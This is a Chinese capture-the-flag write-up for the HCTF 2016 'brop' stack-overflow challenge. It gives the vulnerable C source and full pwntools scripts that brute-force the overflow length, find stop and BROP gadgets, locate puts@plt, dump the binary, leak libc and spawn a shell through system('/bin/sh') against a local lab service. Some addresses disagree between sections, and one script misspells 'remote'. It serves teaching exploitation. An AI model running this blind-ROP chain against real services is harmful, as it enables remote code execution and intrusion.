[ctf wiki pwn] stackoverflow:hctf2016-brop wp

文章目录

    • 1、本地解题环境
    • 2、checksec
    • 3、程序源码
    • 4、解题过程
      • 4.1 计算覆盖return addr之前的长度
      • 4.2 查找stop gadgets
      • 4.3 查找brop gadgets
      • 4.4 查找puts plt的地址
      • 4.5 dump文件
      • 4.6 完整exp

1、本地解题环境

可通过deploy.sh进行部署,打开该文件,有一条指令:

socat tcp-l:9999,reuseaddr,fork exec:./brop

socat,是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版。如果没有socat,还需要提前安装socat。

sudo apt-get install socat

上面这条指令与9999端口绑定,通过run.sh在本地运行起来该题目。
在这里插入图片描述
这时,本地解题环境的服务端就起来了。
通过nc 127.0.0.1 9999可连接到该服务。

2、checksec

这道题是BROP,相当于web中的sql盲注,做这道题时,既没有二进制文件,也没有源代码,在比赛时,不可能用checksec来检查防护机制。为了更清楚的弄明白一些原理,还是做一下checksec的这个环节:
在这里插入图片描述

3、程序源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
        setbuf(stdin,NULL);
        setbuf(stdout,NULL);
        setbuf(stderr,NULL);
    puts("WelCome my friend,Do you know password?");
        if(!check()){
        puts("Do not dump my memory");
        }else {
        puts("No password, no game");
        }
}
int check(){
    char buf[50];
    read(STDIN_FILENO,buf,1024);
    return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

4、解题过程

4.1 计算覆盖return addr之前的长度

在没有拿到二进制程序和源程序时,只能通过运行程序在溢出点输入字符串,每次增加一个字节,如果程序崩溃,就可能覆盖了canary或return address。由于本题没有canary,则直接计算距离return address的情况,对于有canary的情况,则需要进一步通过stack reading计算canary。
exp为:

from pwn import *
def getsize():
        i = 1
        while 1:
                try:
                        p = remote('127.0.0.1',9999)
                        p.recvuntil('WelCome my friend,Do you know password?\n')
                        p.send(i*'a')
                        data = p.recv()
                        p.close()
                        if not data.startswith('No password'):
                                return i-1
                        else:
                                i+=1
                except EOFError:
                        p.close()
                        return i-1

size = getsize()
print "size is [%s]"%size

运行该python脚本后,可计算出大小为72:
在这里插入图片描述

4.2 查找stop gadgets

首先解释一下stop gadgets的定义,如果用stop gadgets覆盖return addr,程序不会崩溃,而是会一致停在那里(如loop或sleep等操作。)下面是找stop gadgets的exp:

from pwn import *
length = 72

def getStopGadgets(length):
        addr = 0x400000  
        while 1:
                try:
                        sh = remote('127.0.0.1', 9999)
                        payload = 'a'*length+p64(addr)
                        sh.recvuntil("know password?\n")
                        sh.sendline(payload)
                        output = sh.recvuntil("password?\n")
                        sh.close()
                        print("one success addr 0x%x:" % (addr))
                        if not output.startswith('WelCome'):
                                sh.close()
                                addr+=1
                        else:
                                return addr
                except Exception:
                        addr+=1
                        sh.close()
stop_gadgets = getStopGadgets(length)

运行该python脚本后,可找到stop gadgets的地址:
在这里插入图片描述
通过objdump,可知这个地址是start函数的地址。找到stop gadgets后,就可以利用它来找用于攻击的gadgets了。

4.3 查找brop gadgets

from pwn import *
def get_brop_gadget(length, stop_gadget, addr):
        try:
                sh = remote('127.0.0.1', 9999)
                sh.recvuntil('password?\n')
                payload = 'a' * length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*10
                sh.sendline(payload)
                content = sh.recv()
                sh.close()
                print content
                return True
        except Exception:
                sh.close()
                return False

def check_brop_gadget(length, addr):
        try:
                sh = remove('127.0.0.1', 9999)
                sh.recvuntil('password?\n')
                payload = 'a' * length + p64(addr) + 'a'*8*10
                sh.sendline(payload)
                content = sh.recv()
                sh.close()
                return False
        except Exception:
                sh.close()
                return True

length = 72
stop_gadget = 0x4005c0
addr = 0x400740

while 1:
        print hex(addr)
        if get_brop_gadget(length, stop_gadget, addr):
                print 'possible brop gadget: 0x%x' % addr
                if check_brop_gadget(length, addr):
                        print 'success brop gadget: 0x%x' % addr
                        break
        addr += 1

运行该脚本后,可找到brop gadgets:
在这里插入图片描述

4.4 查找puts plt的地址

接下来,我们希望使用brop gadget的地址来获取puts的地址。brop gadget的最后两条汇编指令为pop r15; ret对应的字节码是41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。所以pop rd;ret的地址就是brop gadget +9,通过这个gadget把put的plt打出来。

from pwn import *

length = 72
stop_gadget = 0x4005c0

def get_puts_addr(length, rdi_ret, stop_gadget):
        addr = 0x400500
        while 1:
                print hex(addr)
                sh = remote('127.0.0.1', 9999)
                sh.recvuntil('password?\n')
                payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
                sh.sendline(payload)
                try:
                        content = sh.recv()
                        if content.startswith('\x7fELF'):
                                print 'find puts@plt addr: 0x%x' % addr
                                return addr
                        sh.close()
                        addr += 1
                except Exception:
                        sh.close()
                        addr += 1

brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
get_puts_addr(72, rdi_ret, stop_gadget)

运行该脚本,结果为:
在这里插入图片描述

4.5 dump文件

找到put plt的地址后,就能不断的puts,把程序dump下来。

from pwn import *
def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
        sh = remote('127.0.0.1', 9999)
        payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
        sh.recvuntil('password?\n')
        sh.sendline(payload)
        try:
                data = sh.recv()
                sh.close()
                try:
                        data = data[:data.index("\nWelCome")]
                except Exception:
                        data = data
                if data == "":
                        data = '\x00'
                return data
        except Exception:
                sh.close()
                return None

length = 72

stop_gadget = 0x4005c0

brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9

puts_plt = 0x400555
addr = 0x400000
result = ""
while addr < 0x401000:
        print hex(addr)
        data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
        if data is None:
                continue
        else:
                result += data
        addr += len(data)
with open('code', 'wb') as f:
        f.write(result)

把生成的core文件用ida打开,打开方式为binary,选择菜单“edit”-“segments” -“Rebase program”,地址设置为0x4000000,拖到0x400555的位置,在地址上按c,就能看到汇编的格式:
在这里插入图片描述
0x601018就是plt跳转的地址,也就是put函数got表的地址。

4.6 完整exp

知道put函数got表的地址后,接下来就是常规操作,整个exp为:

#coding=utf8
from pwn import *

sh = remote('127.0.0.1', 9999)

#sh = process('./brop')

#context.log_level = 'debug'


def getbufferflow_length():
    i = 1
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('WelCome my friend,Do you know password?\n')
            sh.send(i * 'a')
            output = sh.recv()
            sh.close()
            if not output.startswith('No password'):
                return i - 1
            else:
                i += 1
        except EOFError:
            sh.close()
            return i - 1


def get_stop_addr(length):
    addr = 0x400000
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('password?\n')
            payload = 'a' * length + p64(addr)
            sh.sendline(payload)
            content = sh.recv()
            print content
            sh.close()
            print 'one success stop gadget addr: 0x%x' % (addr)
        except Exception:
            addr += 1
            sh.close()

def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
    payload = p64(csu_last)  # pop rbx,rbp,r12,r13,r14,r15, ret
    payload += p64(0x0)  # rbx be 0x0
    payload += p64(0x1)  # rbp be 0x1
    payload += p64(saved_addr)  # r12 jump to
    payload += p64(arg3)  # r13 -> rdx    arg3
    payload += p64(arg2)  # r14 -> rsi    arg2
    payload += p64(arg1)  # r15 -> edi    arg1
    payload += p64(csu_middle)  # will call [rbx + r12 * 0x8]
    payload += 'A' * 56  # junk
    return payload


def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
            stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.startswith('WelCome'):
            return False
        return True
    except Exception:
        sh.close()
        return False

def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True


def find_brop_gadget(length, stop_gadget):
    addr = 0x400740
    while 1:
        print hex(addr)
        if get_brop_gadget(length, stop_gadget, addr):
            print 'possible brop gadget: 0x%x' % addr
            if check_brop_gadget(length, addr):
                print 'success brop gadget: 0x%x' % addr
                return addr
            addr += 1

def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
            addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            content = sh.recv()
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1


def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 9999)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
        puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\n')
    sh.sendline(payload)
    try:
        data = sh.recv()
        sh.close()
        try:
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None

def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
    addr = 0x400000
    result = ""
    while addr < 0x401000:
        print hex(addr)
        data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
        if data is None:
            continue
        else:
            result += data
            addr += len(data)
    with open('code', 'wb') as f:
        f.write(result)


#length = getbufferflow_length()
length = 72
#stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
#brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
#puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
#leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
    stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + 0x18ce57
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
    system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

热门文章

暂无图片
编程学习 ·

exe4j详细使用教程(附下载安装链接)

一、exe4j介绍 ​ exe4j是一个帮助你集成Java应用程序到Windows操作环境的java可执行文件生成工具&#xff0c;无论这些应用是用于服务器&#xff0c;还是图形用户界面&#xff08;GUI&#xff09;或命令行的应用程序。如果你想在任务管理器中及Windows XP分组的用户友好任务栏…
暂无图片
编程学习 ·

AUTOSAR从入门到精通100讲(126)-浅谈车载充电系统通信方案

01 引言 本文深入研究车载充电系统策略,设计出一套基于电动汽车电池管理系统与车载充电机的CAN通信协议,可供电动汽车设计人员参考借鉴。 02 电动汽车充电系统通讯网络 电动汽车整车控制系统中采用的是CAN总线通信方式,由一个整车内部高速CAN网络、内部低速CAN网络和一个充电…
暂无图片
编程学习 ·

CMake(九):生成器表达式

当运行CMake时&#xff0c;开发人员倾向于认为它是一个简单的步骤&#xff0c;需要读取项目的CMakeLists.txt文件&#xff0c;并生成相关的特定于生成器的项目文件集(例如Visual Studio解决方案和项目文件&#xff0c;Xcode项目&#xff0c;Unix Makefiles或Ninja输入文件)。然…
暂无图片
编程学习 ·

47.第十章 网络协议和管理配置 -- 网络配置(八)

4.3.3 route 命令 路由表管理命令 路由表主要构成: Destination: 目标网络ID,表示可以到达的目标网络ID,0.0.0.0/0 表示所有未知网络,又称为默认路由,优先级最低Genmask:目标网络对应的netmaskIface: 到达对应网络,应该从当前主机哪个网卡发送出来Gateway: 到达非直连的网络,…
暂无图片
编程学习 ·

元宇宙技术基础

请看图&#xff1a; 1、通过AR、VR等交互技术提升游戏的沉浸感 回顾游戏的发展历程&#xff0c;沉浸感的提升一直是技术突破的主要方向。从《愤怒的小鸟》到CSGO,游戏建模方式从2D到3D的提升使游戏中的物体呈现立体感。玩家在游戏中可以只有切换视角&#xff0c;进而提升沉浸…
暂无图片
编程学习 ·

flink的伪分布式搭建

一 flink的伪分布式搭建 1.1 执行架构图 1.Flink程序需要提交给 Job Client2.Job Client将作业提交给 Job Manager3.Job Manager负责协调资源分配和作业执行。 资源分配完成后&#xff0c;任务将提交给相应的 Task Manage。4.Task Manager启动一个线程以开始执行。Task Manage…
暂无图片
编程学习 ·

十进制正整数与二进制字符串的转换(C++)

Function one&#xff1a; //十进制数字转成二进制字符串 string Binary(int x) {string s "";while(x){if(x % 2 0) s 0 s;else s 1 s;x / 2;}return s; } Function two&#xff1a; //二进制字符串变为十进制数字 int Decimal(string s) {int num 0, …
暂无图片
编程学习 ·

[含lw+源码等]微信小程序校园辩论管理平台+后台管理系统[包运行成功]Java毕业设计计算机毕设

项目功能简介: 《微信小程序校园辩论管理平台后台管理系统》该项目含有源码、论文等资料、配套开发软件、软件安装教程、项目发布教程等 本系统包含微信小程序做的辩论管理前台和Java做的后台管理系统&#xff1a; 微信小程序——辩论管理前台涉及技术&#xff1a;WXML 和 WXS…
暂无图片
编程学习 ·

树莓派驱动DHT11温湿度传感器

1&#xff0c;直接使用python库 代码如下 import RPi.GPIO as GPIO import dht11 import time import datetimeGPIO.setwarnings(True) GPIO.setmode(GPIO.BCM)instance dht11.DHT11(pin14)try:while True:result instance.read()if result.is_valid():print(ok)print(&quo…
暂无图片
编程学习 ·

ELK简介

ELK简介 ELK是三个开源软件的缩写&#xff0c;Elasticsearch、Logstash、Kibana。它们都是开源软件。不过现在还新增了一个 Beats&#xff0c;它是一个轻量级的日志收集处理工具(Agent)&#xff0c;Beats 占用资源少&#xff0c;适合于在各个服务器上搜集日志后传输给 Logstas…
暂无图片
编程学习 ·

Linux 基础

通常大数据框架都部署在 Linux 服务器上&#xff0c;所以需要具备一定的 Linux 知识。Linux 书籍当中比较著名的是 《鸟哥私房菜》系列&#xff0c;这个系列很全面也很经典。但如果你希望能够快速地入门&#xff0c;这里推荐《Linux 就该这么学》&#xff0c;其网站上有免费的电…
暂无图片
编程学习 ·

Windows2022 无线网卡装不上驱动

想来 Windows2022 和 windows10/11 的驱动应该差不多通用的&#xff0c;但是死活装不上呢&#xff1f; 搜一下&#xff0c;有人提到 “默认安装时‘无线LAN服务’是关闭的&#xff0c;如果需要开启&#xff0c;只需要在“添加角色和功能”中&#xff0c;选择开启“无线LAN服务…
暂无图片
编程学习 ·

【嵌入式面试宝典】版本控制工具Git常用命令总结

目录 创建仓库 查看信息 版本回退 版本检出 远程库 Git 创建仓库 git initgit add <file> 可反复多次使用&#xff0c;添加多个文件git commit -m <message> 查看信息 git status 仓库当前的状态git diff 差异对比git log 历史记录&#xff0c;提交日志--pret…
暂无图片
编程学习 ·

用Postman生成测试报告

newman newman是一款基于nodejs开发的可以运行postman脚本的工具&#xff0c;使用Newman&#xff0c;可以直接从命令运行和测试postman集合。 安装nodejs 下载地址&#xff1a;https://nodejs.org/en/download/ 选择自己系统相对应的版本内容进行下载&#xff0c;然后傻瓜式安…
暂无图片
编程学习 ·

Java面向对象之多态、向上转型和向下转型

文章目录前言一、多态二、引用类型之间的转换Ⅰ.向上转型Ⅱ.向下转型总结前言 今天继续Java面向对象的学习&#xff0c;学习面向对象的第三大特征&#xff1a;多态&#xff0c;了解多态的意义&#xff0c;以及两种引用类型之间的转换&#xff1a;向上转型、向下转型。  希望能…